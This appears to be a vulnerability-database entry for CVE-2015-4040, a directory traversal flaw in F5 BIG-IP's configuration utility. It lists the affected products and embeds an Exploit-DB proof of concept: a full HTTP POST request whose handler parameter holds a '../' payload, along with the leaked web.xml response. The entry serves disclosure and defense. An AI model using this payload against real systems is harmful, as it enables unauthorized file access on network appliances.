CVE-2015-4040

medium

Published 2015-09-17 · Modified 2026-05-06

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CVSS v3

—

CVSS v4 NEW

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not yet in upstream

VIR risk

5.0

Description

Directory traversal vulnerability in the configuration utility in F5 BIG-IP before 12.0.0 and Enterprise Manager 3.0.0 through 3.1.1 allows remote authenticated users to access arbitrary files in the web root via unspecified vectors.

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-38448 webapps hardware text · 2 KB

Karn Ganeshen · 2015-10-13

F5 Big-IP 10.2.4 Build 595.0 Hotfix HF3 - Directory Traversal

text exploit Source: Exploit-DB

# Exploit Title: [F5 BigIP File Path Traversal Vulnerability]
# Discovered by: Karn Ganeshen
# Reported on: April 27, 2015
# New version released on: September 01, 2015
# Vendor Homepage: [www.f5.com]
# Version Reported: [F5 BIG-IP 10.2.4 Build 595.0 Hotfix HF3]
# CVE-2015-4040 [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4040
]
# Multiple Additional F5 products & versions are Affected and documented
here:
https://support.f5.com/kb/en-us/solutions/public/17000/200/sol17253.html


*Vulnerability Details*
The handler parameter is vulnerable to file path manipulation attacks. When
we submit a payload
*/tmui/locallb/virtual_server/../../../../WEB-INF/web.xml* in the *handler*
parameter, the file *WEB-INF/web.xml* is returned.

*PoC:*

POST /tmui/Control/form HTTP/1.1
Host: <IP>
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)
Connection: close
Referer: https://
<IP>/tmui/Control/jspmap/tmui/locallb/virtual_server/list.jsp?&FilterBy=status_availability&Filter=2
Content-Type: application/x-www-form-urlencoded
Content-Length: 1004
Cookie: JSESSIONID=3211A73547444840255BAF39984E7E3F;
BIGIPAuthUsernameCookie=admin;
BIGIPAuthCookie=9B1099DD8A936DDBD58606DA3B5BABC7E82C43A5;
F5_CURRENT_PARTITION=Common;
f5formpage="/tmui/locallb/virtual_server/list.jsp?&";
f5_refreshpage="https%3A//<IP>/tmui/Control/jspmap/tmui/locallb/virtual_server/list.jsp";
f5currenttab="main"; f5mainmenuopenlist=""; f5advanceddisplay=""

_timenow=Fri+Apr+24+14%3a48%3a38+EST+2015&_bufvalue_before=6hU2%2fMbRfPe7OHQ7VVc7TEffOpg%3d&exit_page=%2ftmui%2flocallb%2fvirtual_server%2fcreate.jsp&search_input=*&search_button_before=Search&_timeno
*...[SNIP]...*
fore=&enableObjList_before=&exit_page_before=%2ftmui%2flocallb%2fvirtual_server%2fcreate.jsp&row_count=0&_bufvalue_validation=NO_VALIDATION&disable_before=Disable&exit_button_before=Create...&handler=
*%2ftmui%2flocallb%2fvirtual_server%2f..%2f..%2f..%2f..%2fWEB-INF%2fweb.xml*


*Web.xml is returned in the Response:*

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE web-app
PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.2//EN"
"http://java.sun.com/j2ee/dtds/web-app_2_2.dtd">



*<!--Automatically created by Tomcat JspC.--><web-app>*
*...[config file output redacted here]...*

*.....*

Application impact

Vendor	Product	Versions
f5	enterprise_manager	`3.0.0`
f5	enterprise_manager	`3.1.0`
f5	enterprise_manager	`3.1.1`
f5	big-ip_access_policy_manager	`{"endIncluding":"11.6.0"}`
f5	big-ip_advanced_firewall_manager	`{"endIncluding":"11.6.0"}`
f5	big-ip_analytics	`{"endIncluding":"11.6.0"}`
f5	big-ip_application_acceleration_manager	`{"endIncluding":"11.6.0"}`
f5	big-ip_application_security_manager	`{"endIncluding":"11.6.0"}`
f5	big-ip_edge_gateway	`{"endIncluding":"11.3.0"}`
f5	big-ip_global_traffic_manager	`{"endIncluding":"11.3.0"}`
f5	big-ip_link_controller	`{"endIncluding":"11.3.0"}`
f5	big-ip_local_traffic_manager	`{"endIncluding":"11.6.0"}`
f5	big-ip_policy_enforcement_manager	`{"endIncluding":"11.3.0"}`
f5	big-ip_protocol_security_module	`{"endIncluding":"11.3.0"}`
f5	big-ip_wan_optimization_manager	`{"endIncluding":"11.3.0"}`
f5	big-ip_webaccelerator	`{"endIncluding":"11.3.0"}`

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.